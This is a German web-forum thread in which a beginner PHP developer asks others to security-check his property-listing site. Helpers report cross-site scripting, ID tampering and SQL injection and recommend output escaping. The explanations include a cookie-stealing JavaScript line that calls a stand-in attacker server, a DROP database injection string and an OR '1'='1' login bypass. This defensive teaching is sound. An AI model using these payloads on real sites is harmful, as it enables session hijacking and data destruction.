Zeit für den Sicherheits-Check!

[andreas]

Hallo!
So, fehlt jetzt zwar noch die ein oder andere Verlinkung(?) aber technisch gesehen wäre ich erstmal fertig mit der Seite(hoffe ich). Deshalb bitte ich drum mal eben die Seite(vor alem Login-Bereich) kurz auf Ihre Sicherheit zu checken!

Hab dafür mal einen Testaccount angelegt:

User: test
Pass: test

login auf: http://www.meinhausonline.de/login.php

Mich interessiert zum einen ob der Interne Bereich sicher ist(ob man auch anders da rein kommt) und ob man die Prüfroutinen überlisten kann, vor allem beim Uploadscript(nur Bilddateien und < 250KB sollten funktionieren)
Und ob jetzt das Anlegen und bearbeiten reibungslos funktioniert.

Wäre Euch sehr dankbar! Auch für andere Kretik wenn was auffällt!

Grüsse
  Andreas

PS: Und bitte nichts kaputt machen:-)

[Harry]

Hallihallo

PS: Und bitte nichts kaputt machen:-)

D'oh, zu spät.
Ich kann in allen auszufüllenden Felder JavaScript-Code unterbringen, das ist ne böse Sache, da solltest Du was dagegen unternehmen ! Damit kann ich Dir die Seite noch viel mehr kaputt machen als nur eine harmlose Messagebox !

Ciao,

Harry

[Harry]

Nochmalhallo

D'oh, zu spät.

Gib als ID doch mal 129 ein ...

Harry
PS: Wenn ich ein Haussuchender bin und nicht ein Verkäufer ... wie finde ich dann ein Haus ? IDs raten ? Gibt's da irgendwo ne Übersicht ?

[andreas]

PS: Wenn ich ein Haussuchender bin und nicht ein Verkäufer ... wie finde ich dann ein Haus ? IDs raten ? Gibt's da irgendwo ne Übersicht ?

Kommt noch!

[andreas]

Hi!
Wieso, was kannst Du denn damit anrichten(Bitte keine Demonstartion:-)? Also meinst Du wenn man ein objekt anlegt, und sich irgendwer die Seite anguckt, oder was?
Wie kann ich das denn verhindern?
Grüsse
  Andreas

[Harry]

Hoioioi

Wieso, was kannst Du denn damit anrichten(Bitte keine Demonstartion:-)? Also meinst Du wenn man ein objekt anlegt, und sich irgendwer die Seite anguckt, oder was?

Richtig. Wenn ich mit die Haus-Seite anschau, und da kann ich dann Weiterleitungen setzen, Cookies, Applets laden, Objekte einbinden ... alles wozu ich Lust hab und was Dir sicher nicht in den Kram passt.

Wie kann ich das denn verhindern?

strip_tags oder htmlspecialchars.

Ciao,

Harry

[andreas]

Ich würde lieber vor dem eintrag prüfen ob was derartiges eingegeben wurde, denn sonst wird auch '&'... alles umgewandelt.
Ich kann ja denb String auf
'<script>', '<meta', überprüfen, was brauche ich da noch alles?

Jedenfalls schonaml vielen Dank, wuf diese ideen bin ich gar nicht gekommen!
Mit dem Bilder-Upload ist aber alles OK, oder? Ich meine da könnte man ja deutlich schlimmeres mit anrichten, wenn da was nicht in Ordnung ist!

Grüsse
  Andreas

[Henryk Plötz]

Moin

Ich würde lieber vor dem eintrag prüfen ob was derartiges eingegeben wurde, denn sonst wird auch '&'... alles umgewandelt.
Ich kann ja denb String auf
'<script>', '<meta', überprüfen, was brauche ich da noch alles?

Nein, das ist eine ganz blöde Idee [tm]. Egal was für einen ausgefeilten Algorithmus du dir ausdenkst, man kann ihn umgehen. strip_tags() ist imho nicht viel besser. Dein einzig wahrer Freund auf weiter Flur ist htmlentities(). Damit solltest du grundsätzlich jeden Text behandeln der vom User kommt. Nicht nur dass dir dann nichts böses mehr passieren kann, die Texte werden nebenbei noch portabler.

--
Henryk Plötz
Grüße aus Berlin

[andreas]

Und was wenn die Leute sowas wie & oder <b> einfügen möchten?

[Sven Rautenberg]

Moin!

Und was wenn die Leute sowas wie & oder <b> einfügen möchten?

Ein &-Zeichen muß in HTML ohnehin als & geschrieben werden, weil ein &-Zeichen eine Entity einleitet. Wer "HTML&Co KG" schreibt, und dieser Text 1:1 in den Browser gelangt, dann wird dieser die Entity &Co versuchen aufzulösen. Dabei wird er merken, daß das Semikolon am Ende fehlt, und daß er keine definierte Entity "Co" kennt, und gnädigerweise den Text doch noch im Original ausgeben. Der Validator aber wird meckern. :)

<b> eingeben wird vereitelt. Das wird logischerweise dann in <b> umgewandelt. Wenn du also einzelne Formatierungen erlauben willst, solltest du vorher nach entsprechenden Tags suchen, die irgendwie maskieren oder merken, dann in Entities umwandeln und hinterher die Formatierungen wieder richtig reinsetzen.

- Sven Rautenberg

[Slyh]

Hallo,

Wieso darf ich die persönlichen Daten eines jeden Nutzers ändern?
Beispiel:
http://www.meinhausonline.de/anmelden.php?ID=31&action=bearbeiten
(Statt ID=31 kann hier problemlos jede andere ID angegeben werden.)

Gruß
Slyh

[Harry]

Hoioioi

Wieso darf ich die persönlichen Daten eines jeden Nutzers ändern?
Beispiel:
http://www.meinhausonline.de/anmelden.php?ID=31&action=bearbeiten
(Statt ID=31 kann hier problemlos jede andere ID angegeben werden.)

Und warum kann ich die Daten für jedes beliebige Haus ändern ?
http://www.meinhausonline.de/objekt.php?ID=1&action=bearbeiten

Junge junge, da fehlt noch viiieeeeel !

Ciao,

Harry

[Harry]

Hoioi

Und warum kann ich die Daten für jedes beliebige Haus ändern ?
http://www.meinhausonline.de/objekt.php?ID=1&action=bearbeiten

Ich muß mich dazu nur auf einem beliebigen Account anmelden.

Ciao,

Harry

[andreas]

Danke Euch!

Auch behoben!

- nochwas? :-)

Grüsse
  Andreas

[andreas]

Danke!

Sollte behoben sein!

[Henryk Plötz]

Moin

Das bereits erwähnte bearbeiten beliebiger Objekte scheint immer noch zu gehen (13:45).

Sehr unschön: http://www.meinhausonline.de/images/

Du solltest nicht sagen dass die Homepage unter www.meinhausonline.de?ID=bla erreichbar ist, wenn der richtige URL http://www.meinhausonline.de/?ID=bla ist, wie du ja bei einigen Linkversuchen hier im Forum schon gesehen hast.

Weiter habe ich nichts gefunden, was ohne Sourcecode etwas schwierig ist. Das bedeutet aber nicht, dass da sich nicht noch was versteckt.

--
Henryk Plötz
Grüße aus Berlin

[andreas]

Moin

Das bereits erwähnte bearbeiten beliebiger Objekte scheint immer noch zu gehen (13:45).

Sollt nicht mehr gehen.

Sehr unschön: http://www.meinhausonline.de/images/

War ein Versehen:-)

Du solltest nicht sagen dass die Homepage unter www.meinhausonline.de?ID=bla erreichbar ist, wenn der richtige URL http://www.meinhausonline.de/?ID=bla ist, wie du ja bei einigen Linkversuchen hier im Forum schon gesehen hast.

Nein, das ist schon richtig, ich finde es nur einfacher, das wird automatisch vom Server weitergeleitet, probiers mal aus!
www.meinhausonline.de?ID=125

Weiter habe ich nichts gefunden, was ohne Sourcecode etwas schwierig ist. Das bedeutet aber nicht, dass da sich nicht noch was versteckt.

Sollte ich den Code hier posten? ich mein dann steht der hier für immer, ich weiß nicht ob das so schlu ist, das benutzt dann irgendwann einer beim Üben um ein Script-Kiddie zu werden!

Du weißt ja das ich noch nicht so viel Erfahrung habe, kennst Du ein paar typische Bugs, die man als Anfänger oft macht?

Jedenfalls Danke für Deine Hilfe!

Grüsse
  Andreas

[andreas]

Hi!

Also erstmal Danke ich Euch für die Hilfe, hab jetzt alles (außer Javascript-Sachen...) geändert, das Upload-Script für die Bilder ist also Sicher, oder?
ich denke das dadurch der wohl größte Schaden entstehen könnte!
Nur das Zugangsdaten-Script habe ich noch nicht dem entsprechend angepasst, kommt noch.

Aber nochmal zu den htmlspecialchars:

also einfach statt

INSERT INTO tabelle (variable) VALUES ($variable)

INSERT INTO tabelle (variable) VALUES (htmlspecialchars($variable))

oder wie?

Wie kann ich denn alle auf einmal ändern?

Grüsse
  Andreas

[Henryk Plötz]

Moin

Also erstmal Danke ich Euch für die Hilfe, hab jetzt alles (außer Javascript-Sachen...) geändert, das Upload-Script für die Bilder ist also Sicher, oder?

Ka, ich hab grad ein paar Probleme...

Aber nochmal zu den htmlspecialchars:
also einfach statt
INSERT INTO tabelle (variable) VALUES ($variable)
INSERT INTO tabelle (variable) VALUES (htmlspecialchars($variable))
oder wie?
Wie kann ich denn alle auf einmal ändern?

Nein, das ist auch nicht gut. Damit nimmst du dir die Möglichkeit vernünfig in den Daten suchen zu können. Mach statt dessen bei der Ausgabe ein echo htmlentities($bla);. Und weil du das öfter tun willst, solltest du dir vielleicht dafür eine extra Funktion anlegen. Dann kannst du mit einer einfachen Suche auch einfacher überprüfen ob du irgendwo ein echo vergessen hast.

Das ist nämlich wirklich unschön, vor allem da das Sicherheitskonzept der Seite auf Cookies basiert, die man mit einem kleinen Fetzen JavaScript an der richtigen Stelle einfach auslesen kann.

BTW: Hast du den testbenutzer gelöscht? Ich kam mit test/test nicht mehr rein. Und das anmelden eines neuen Benutzers ist buggy, wenn bereits eine Sitzung offen ist. Er wollte mir erzählen dass der Benutzername "henryk" schon besetzt gewesen wäre (das selbe auch für den Benutzer "blablubb", etc.). Ausserdem kam ich nicht mehr an den Ausloggenlink. Es ging erst weiter nachdem ich das Session-Cookie gelöscht hatte.

--
Henryk Plötz
Grüße aus Berlin

[andreas]

Hi!

Aber nochmal zu den htmlspecialchars:
also einfach statt
INSERT INTO tabelle (variable) VALUES ($variable)
INSERT INTO tabelle (variable) VALUES (htmlspecialchars($variable))
oder wie?
Wie kann ich denn alle auf einmal ändern?

Das ist nämlich wirklich unschön, vor allem da das Sicherheitskonzept der Seite auf Cookies basiert, die man mit einem kleinen Fetzen JavaScript an der richtigen Stelle einfach auslesen kann.

Aber nur wenn man eingeloggt ist.

BTW: Hast du den testbenutzer gelöscht? Ich kam mit test/test nicht mehr rein. Und das anmelden eines neuen Benutzers ist buggy, wenn bereits eine Sitzung offen ist. Er wollte mir erzählen dass der Benutzername "henryk" schon besetzt gewesen wäre (das selbe auch für den Benutzer "blablubb", etc.). Ausserdem kam ich nicht mehr an den Ausloggenlink. Es ging erst weiter nachdem ich das Session-Cookie gelöscht hatte.

Nun ja, einen User henryk gibt es, mit 2 Objekten und eins davon mit Bild. Den Testuser gibt es auch noch. Kann mich da auch noch einloggen. Die Probleme kommen durch die Session. Wenn diese noch aktiv ist, hast Du Probleme beim anmelden. Wobei ich die Fehlermeldung nicht ganz verstehe. Aber dem kann man ja nachgehen.

Grüsse
  Andreas

[Henryk Plötz]

Moin

Aber nur wenn man eingeloggt ist.

Ja, aber das ist ja ein möglicher Angriffsweg: Platzier ein javascript, welches cookies abfragt und nach Hause sendet, irgendwo. Sobald ein eingeloggter User vorbeikommt, kannst du mit dem Cookie Spaß haben.

Nun ja, einen User henryk gibt es, mit 2 Objekten und eins davon mit Bild. Den Testuser gibt es auch noch. Kann mich da auch noch einloggen. Die Probleme kommen durch die Session. Wenn diese noch aktiv ist, hast Du Probleme beim anmelden. Wobei ich die Fehlermeldung nicht ganz verstehe. Aber dem kann man ja nachgehen.

Ja, jetzt schon :)

Also ich habs grad nochmal ausprobiert: Einloggen, als neuer User anmelden (mit /anmelden.php), dann dem URL in der Mail (der übrigens falsch ist, da fehlt das http:// davor) folgen, einen neuen Usernamen aussuchen -> "Der von ihnen gewählte Benutzername ist leider bereits vergeben.", warum ich beim letzten Mal als testnutzer nicht mehr am Login vorbeigekommen bin, weiss ich nicht.

Ansonsten: Der Bilderupload scheint soweit ok zu sein.

--
Henryk Plötz
Grüße aus Berlin

[andreas]

Hu!

Ja, aber das ist ja ein möglicher Angriffsweg: Platzier ein javascript, welches cookies abfragt und nach Hause sendet, irgendwo. Sobald ein eingeloggter User vorbeikommt, kannst du mit dem Cookie Spaß haben.

DAs verstehe ich nicht - wie irgendwo? Wie kann ich denn da ein Cockie platzieren? Meinst Du bei einem Objekt ind den Text so wie dein Alert? Und dann spekulierst Du darauf, dass evtl ein eingeloggter User ein anderes als seines, zufälligerweise dein Objekt anschaut? Klar möglich ist das, aber wie um Himmels Willen soll so ein javascript wohin/womit diese Cockie Daten verschicken? Außerdem wird in meinem Cockie nur die SessionID gespeichert, der Rest ja in der Session auf dem Server. Da kommt doch kein javascript dran, oder?

Also ich habs grad nochmal ausprobiert: Einloggen, als neuer User anmelden (mit /anmelden.php), dann dem URL in der Mail (der übrigens falsch ist, da fehlt das http:// davor) folgen, einen neuen Usernamen aussuchen -> "Der von ihnen gewählte Benutzername ist leider bereits vergeben.", warum ich beim letzten Mal als testnutzer nicht mehr am Login vorbeigekommen bin, weiss ich nicht.

Also ich hab das auch probiert und es geht bei mir. Was benutzt Du für einen Browser(netscape?)? Vielleicht liegt es daran, dass ich das gleiche Script für die Neuanmeldung nehme, wie für Änderungen wenn man schon registriert ist. Sollte ich das wohl ändern?

Ansonsten: Der Bilderupload scheint soweit ok zu sein.

Hoffe es:-)

Danke nochmal für Deine Mithilfe!

Grüsse
  Andreas

[Henryk Plötz]

Moin

DAs verstehe ich nicht - wie irgendwo?

Das ist eine der Standard-Cross-Site-Scripting-Attacken.
Normalerweise schützt der Browser dich vor Skripten die versuchen auf anderen Domains rumzupfuschen. Stell dir nur mal vor eine böse Seite könnte einfach so auf anderen Seiten in anderen Domains JavaScript-Aktionen durchführen. Also zum Beispiel das cookie auslesen und an einen Server senden oder document.formularname.submit() aufrufen etc. Da könnte ja eine Seite kommen, in einem unsichtbaren Frame deine Onlinebank aufrufen, sich zunutze machen, dass dein Browser dein Passwort evt. automatisch einträgt oder du sogar schon angemeldet bist und dann lustig Sachen durch die Gegend überweisen. (Natürlich gibts das in zig Variationen mit anderen Angriffszielen/möglichkeiten)
Deshalb verbieten die Browser unter anderem Skripten von einer Domain auf Seiten einer anderen Domain zuzugreifen. Es gibt zwar hin und wieder auch im Browser solche Cross Site Skripting Probleme, aber die sollten theoretisch alle behoben sein, wenn du jeweils alle Sicherheitspatches einspielst.

Aber leider gibt es auch viele Seiten mit diesen Problemen, deine scheint (schien?, habs seit 15:00 nicht mehr angeschaut) eine davon zu sein. Das passiert immer wenn ein übereifriges Skript (muss nicht PHP sein) Usereingaben einfach so unkontrolliert an den Browser zurücksendet. Der Angreifer sucht sich einfach so eine Seite und kann dann einen evt. einen Link generieren der sein feindliches JavaScript an den Server sendet und dieser es ungequotet wieder zurücksendet. Damit kannst du dann auf der anderen Domain lustig Funktionen aufrufen oder Daten auslesen ohne dass der User was tun muss. Du kannst so einen Link etwa beim Besuchen einer feindlichen Seite (ähnlich wie ein trojanische Pferd) unbeabsichtig automatisch ausführen (window.open) oder du verschickst ihn gut getarnt in einer Mail (zahlreiche Würmer von I Love You bis My Party haben ja gezeigt dass User gerne auf Sachen in Mails klicken) oder ähnliches.

Die zweite Möglichkeit wäre es den JavaScript-Code gleich dauerhaft auf der anderen Seite abzulegen, wie es bei Gästebüchern/Foren beliebt ist oder teilweise auch bei Webmailern möglich war. So ein Problem scheinst du gehabt zu haben. Denk dran: Der JavaScript-Code der dann zurückgeliefert wird, wird innerhalb der Sicherheitsumgebung deiner Domain ausgeführt, und kann dann Spaß damit haben einfach mal eben ein paar zusätzliche (kosenpflichtige) Angebote unter dem Namen des angemeldeten Benutzers einzustellen. Oder aber er übermittelt das Cookie deiner Anmeldeeinrichtung mit irgendwas in der Art von document.writeln('<img src="http://www.fremderböserserver.de/habeincookiegefunden.php?'+document.cookie()+'">'); an ein auswärtiges Skript und das kann sich dann damit als User ausgeben.

Deswegen ist es böse [tm] Usercode einfach so zurückzugeben ohne wenigstens an eine kleine Überprüfung zu denken. Da aber wie bereits gesagt bisher noch jeder Versuch javascript-Code zu entfernen oder gar nur potentiell gefährliche Codestellen (document.cookie, formularname.submit(), etc.) zu entfernen, irgendwie umgegangen werden konnte, ist es wohl das sicherste, grundsätzlich alle Usereingaben durch htmlentities() zu jagen und damit zu entschärfen.

In deinem Fall möchte der User gar keinen HTML-Code benutzen (selbst wenn er wüsste was das ist :), und wenn, dann wirst du wohl etwas wie preg_replace("/[hr]/", "<hr>", htmlentities(preg_replace("/<hr>/", "/[hr]/", $text))); benutzen wollen (ich weiss nicht, ob das sicher genug ist). htmlentities() zu vergessen, ist auf jeden Fall unschön, da wie bereits angemerkt wurde, du dem User dann zumuten müsstest alle & als & zu schreiben.

--
Henryk Plötz
Grüße aus Berlin

[Andreas]

Hi!

Deswegen ist es böse [tm] Usercode einfach so zurückzugeben ohne wenigstens an eine kleine Überprüfung zu denken. Da aber wie bereits gesagt bisher noch jeder Versuch javascript-Code zu entfernen oder gar nur potentiell gefährliche Codestellen (document.cookie, formularname.submit(), etc.) zu entfernen, irgendwie umgegangen werden konnte, ist es wohl das sicherste, grundsätzlich alle Usereingaben durch htmlentities() zu jagen und damit zu entschärfen.

Als das reicht dann wenn ich das in der Ausgabe da durch jage, auch bei ausfüllen der Formulare(value), oder?

Was denn, wenn mir jemand da php-Code reinschreibt, das wäre glaub ich noch viel schlimmer! Geht das auch? Wenn ja, wie kann ich das verhindern, denn bei dr Ausgabe an den Browser ist es ja schon zu spät! Und ich denke PHP ist deutlich mächtiger als Javascript!

Jedenfalls schonmal vielen dank für Deien ausführlcihe Erklährung, war sehr aufschlussreich für  mich!

Grüße
  Andreas

[Henryk Plötz]

Moin

Als das reicht dann wenn ich das in der Ausgabe da durch jage, auch bei ausfüllen der Formulare(value), oder?

Japp, <input type="text" value="<?php echo htmlentities($name);?>" name="name"> ist dein Freund. Da du das echo htmlentities()-Gespann sehr häufig brauchen wirst (oder zumindest solltest) lohnt es sich dafür eine eigene Funktion zu definieren. Hat außerdem den Vorteil dass wp($name) sich kürzer schreibt als echo $name und deine Motivation die sichere Variante zu wählen dadurch steigen sollte.

Was denn, wenn mir jemand da php-Code reinschreibt, das wäre glaub ich noch viel schlimmer! Geht das auch? Wenn ja, wie kann ich das verhindern, denn bei dr Ausgabe an den Browser ist es ja schon zu spät! Und ich denke PHP ist deutlich mächtiger als Javascript!

Das ist in deinem Fall kein Problem. Der Inhalt wird ja von PHP ausgegeben und falls du nicht irgendwo ein eval() (eval() ist böse[tm]) rumfliegen hast, ist es schon zu spät für PHP-Code. Es könnte sich evt. ein Problem ergeben wenn du auf die Idee kommen solltest statische Dateien zu erstellen (wie das etwas bei diesem Forum früher gemacht wurde, und bei einigen heute noch gemacht wird) und dann den Dateien auch noch eine .php-Endung gibst (oder den Webserver anweist alle .html-Datein durch den PHP-Interpreter zu jagen). Ähnliche Probleme handelst du dir ein, wenn du unkontrolliert Sachen include()st, was, zusammen mit der Fähigkeit von include() HTTP-Verbindungen aufzubauen, wirklich böse enden kann.

Ein weiterer gerne gemachter Fehler stellen SQL-Abfragen dar, wenn userdefinierbare Werte nicht korrekt in Quotes eingeschlossen werden, oder nicht alle Quotes aus diesen Werten maskiert sind. Dann kann ein Angreifer unter Umständen SQL-Code an den Server schicken. Bei MySQL ist das nicht ganz so schlimm wie bei anderen DBMS, da das PHP-MySQL-Interface mehrere Abfragen in einem Funktionsaufruf nicht unterstützt, und so "SELECT bla FROM blu WHERE bla='userdefinierter Wert';DELETE FROM blu WHERE blubb =''" nicht möglich wird (alles zwischen dem vorderen und dem hintersten ' kam vom User). Allerdings kann man da trotzdem andere Sachen machen, wie SELECT * FROM users WHERE userid='blubb' AND pass='bli' OR '1'='1' um sich damit bei einer primitiven Zugangssperre (if(mysql_num_rows($result)>0)) Zugang zu verschaffen (hier ist alles von bli bis zur letzten 1 vom User).

<rhetorische Frage>Aber natürlich hast du aufgepasst und keines dieser Probleme eingebaut, oder? </rhetorische Frage> :)

--
Henryk Plötz
Grüße aus Berlin

[Andreas]

Hallo nach Berlin!

Also auch an dieser Stelle nochmal vielen Dank, so langsam denke weiß ich einige wichtige Sachen auf die ich achten sollte. Und nein, ich habe von den letzten Hinweisen noch keine eingebaut, ich sammel das gerade mal alles, und werde die Scripte dann dahingehend überarbeiten und viele der Sachen und Funktionen per include einbinden - aus einem sicheren Verzeichnis.
Eine kurze Frage, sollte man wirklich jede verwendete Variable entweder =""; setzten oder oder irgendwie überprüfen, am Anfang eines Scriptes?
Kann ich ja auch automatisch mit einer Funktion machen, und einer Schleife mit dem Array der alle Get und Post Variablen enthält, mal schaun.
Auch werde ich die Prüfung ob user als Sessionvariabel gesetzt... mit $HTTP_SESSION_VARS[user]==blabla

machen, so sollte das auch sicherer werden, gel?

Was bring mir aber eigentlich die Überprüfung, ob es sich um POST oder GET Varablen handelt, wie es in PHP 4.1.1 ja so einfach ist. Damit stelle ich doch nicht sicher, ob die Variablen von _meiner_ Seite kommen, ich kann nur gucken dass POST Variaben nicht per GET kommen, aber ein Angreifer kann mir doch auch von extern Daten per POST schicken, oder? Oder was hätte der Angreifer sonst für Möglichkeiten mir Variablen zu schicken, halt außer GET und POST und wie unterscheide ich das von meinem Server?

Grüsse
  Andreas

[Sven Rautenberg]

Moin!

Wäre Euch sehr dankbar! Auch für andere Kretik wenn was auffällt!

Ich sammel mal während meines Besuchs:

1. Ohne Cookies kann man sich garnicht anmelden. PHP-Sessions gehen auch ohne Cookies. Zumindest einen textlichen Hinweis, daß Cookies unabdingbar sind, wäre schön.

2. AGB: Zwei unerklärliche Leerzeilen bei Punkt 7 und 10. Die Belehrung darunter verweist auf "die oben angegebe" Adresse, welche in Wirklichkeit aber drunter steht.

3. Es nervt, daß man ständig automatisch, aber ohne Beschleunigungsmöglichkeit auf die Kundenseite zurückkommt, beispielsweise nach Änderungen. Wenn der Tipp gegeben wird, sich Änderungen auch nochmal anzeigen zu lassen, wäre ein Link direkt zur Anzeigeseite ganz gut.

4. Javascript wird immer noch nicht rausgefiltert, ebenso sind beliebige HTML-Tags möglich.

5. Wie komme ich von der Anzeige des Angebots wieder zum Bearbeiten-Menü zurück? Die Browser-Zurücktaste kann es ja wohl nicht sein, oder?

6. Die persönlichen Daten des Testaccounts lassen sich nicht ändern, obwohl sie laut Meldung geändert wurden.

7. Ist bei deinem PHP die Option "Magic-quotes" eingeschaltet? Oder benutzt du "addslashes" für die Eintragung von Formularwerten? Wäre nämlich nicht gut, wenn jemand als Feldeintrag folgende Zeile eingibt:
irgendwas');DROP database zufallstreffer;restmüll

und dein PHP-Skript setzt das in dieses MYSQL-Statement um:
INSERT INTO tabelle (spalte) VALUES ('irgendwas');DROP database zufallstreffer;restmüll')

PS: Die Sicherheit kann man wirklich nur dann echt prüfen, wenn man auch den Quelltext der PHP-Skripte kennt. Denn sonst müßte man mühsam prüfen, welche Variablen denn im Skript vorkommen und ob die sich von außen nachteilig verändern lassen, während ein böser Mensch vielleicht aus Zufall drauf kommt.

- Sven Rautenberg

[Andreas]

Moin!
Zunächst auch Dir vielen Dank für Deine Hilfe!

1. Ohne Cookies kann man sich garnicht anmelden. PHP-Sessions gehen auch ohne Cookies. Zumindest einen textlichen Hinweis, daß Cookies unabdingbar sind, wäre schön.

Cookies oder Cockies? Jedendfalls hast Du Recht, geht auch ohne Cookies, nur darum wollte ich mich jetzt nicht kümmern, werde das ggfs mal umstellen, auch in dem Wissen das das um so mehr Arbeit ist, aber zur Zeit stehe ich unter extremen Zeitdruck!
Hinweis fehlt tatsächlich noch.

2. AGB: Zwei unerklärliche Leerzeilen bei Punkt 7 und 10. Die Belehrung darunter verweist auf "die oben angegebe" Adresse, welche in Wirklichkeit aber drunter steht.

:-)

3. Es nervt, daß man ständig automatisch, aber ohne Beschleunigungsmöglichkeit auf die Kundenseite zurückkommt, beispielsweise nach Änderungen. Wenn der Tipp gegeben wird, sich Änderungen auch nochmal anzeigen zu lassen, wäre ein Link direkt zur Anzeigeseite ganz gut.

Hast auch Recht, werde das entsprechend einbringen.

4. Javascript wird immer noch nicht rausgefiltert, ebenso sind beliebige HTML-Tags möglich.

Noch keine Zeit gehabt, da ich mir noch nicht 100%ig sicher bin, wie ich das am besten anstelle, ich denke wie beschrieben mit der Funktion, die das auf der Anzeigeseite erledigt!

5. Wie komme ich von der Anzeige des Angebots wieder zum Bearbeiten-Menü zurück? Die Browser-Zurücktaste kann es ja wohl nicht sein, oder?

*stöhn* hast Recht, diese Art von Links fehlen überall, auch die obere Leiste, das Logo wird noch verlinkt...

6. Die persönlichen Daten des Testaccounts lassen sich nicht ändern, obwohl sie laut Meldung geändert wurden.

Sicher lassen die sich ändern?! Bei mir geht das einwandfrei! Benutzt Du Netscape? Jedenfalls wenn ich eingeloggt bin, auf Daten ändern und dann irgendwas eingebe, steht das beim nächsten mal auch da drin. Und da ich alles mit PHP mache kann das doch irgendwie nicht sein, oder?

7. Ist bei deinem PHP die Option "Magic-quotes" eingeschaltet? Oder benutzt du "addslashes" für die Eintragung von Formularwerten? Wäre nämlich nicht gut, wenn jemand als Feldeintrag folgende Zeile eingibt:

irgendwas');DROP database zufallstreffer;restmüll
und dein PHP-Skript setzt das in dieses MYSQL-Statement um:
INSERT INTO tabelle (spalte) VALUES ('irgendwas');DROP database zufallstreffer;restmüll')

Tatsächlich? Aber was richtet das denn an, nach ; ist das Statement doch zu Ende, oder? Gibt höchstens einen Error, oder meinst Du die kpl. DB ist weg?

Vielen Dank nochmal! Werde die Hinweise so gut und schnell wie möglich einarbeiten, nur dads mit dem Ändern der Userdaten verstehe ich nicht?!

Grüsse
  Andreas

[Sven Rautenberg]

Moin nochmal!

6. Die persönlichen Daten des Testaccounts lassen sich nicht ändern, obwohl sie laut Meldung geändert wurden.
   Sicher lassen die sich ändern?! Bei mir geht das einwandfrei! Benutzt Du Netscape? Jedenfalls wenn ich eingeloggt bin, auf Daten ändern und dann irgendwas eingebe, steht das beim nächsten mal auch da drin. Und da ich alles mit PHP mache kann das doch irgendwie nicht sein, oder?

Kein Netscape, Opera 6.0. Und eigentlich sollte es gehen, hat nur eben nicht wirklich funktioniert. Das Paßwort konnte ich ändern, den Namen und die anderen Daten (Adresse, Telefon) nicht.

7. Ist bei deinem PHP die Option "Magic-quotes" eingeschaltet? Oder benutzt du "addslashes" für die Eintragung von Formularwerten? Wäre nämlich nicht gut, wenn jemand als Feldeintrag folgende Zeile eingibt:

irgendwas');DROP database zufallstreffer;restmüll
und dein PHP-Skript setzt das in dieses MYSQL-Statement um:
INSERT INTO tabelle (spalte) VALUES ('irgendwas');DROP database zufallstreffer;restmüll')
Tatsächlich? Aber was richtet das denn an, nach ; ist das Statement doch zu Ende, oder? Gibt höchstens einen Error, oder meinst Du die kpl. DB ist weg?

Das Semikolon _trennt_ die Anweisungen, es beendet sie nicht. Mit ungeschickten Datenbankanweisungen ist dann die Datenbank weg!

Wenn die Magic-Quotes aktiv sind, dann kriegen eingegebene Anführungszeichen einen Backslash vorne vor. Kann sein, daß du in diese Falle aus Versehen nicht reingetappt bist. Aber grundsätzlich solltest du genau prüfen, was du der Datenbank so als Anweisung vorsetzt. Bzw. prüfen, was denn in Wirklichkeit dort ankommt. ;)

Vielen Dank nochmal! Werde die Hinweise so gut und schnell wie möglich einarbeiten, nur dads mit dem Ändern der Userdaten verstehe ich nicht?!

Würde ich es verstehen, hätte ich schon Lösungshinweise geschrieben. :)

- Sven Rautenberg

[Andreas]

Bitte nicht mehr registrieren oder Objekte anlegen, wenn bitte deutlich kennzeichnen(SELFhtml..)!

Vielen Dank!

Andreas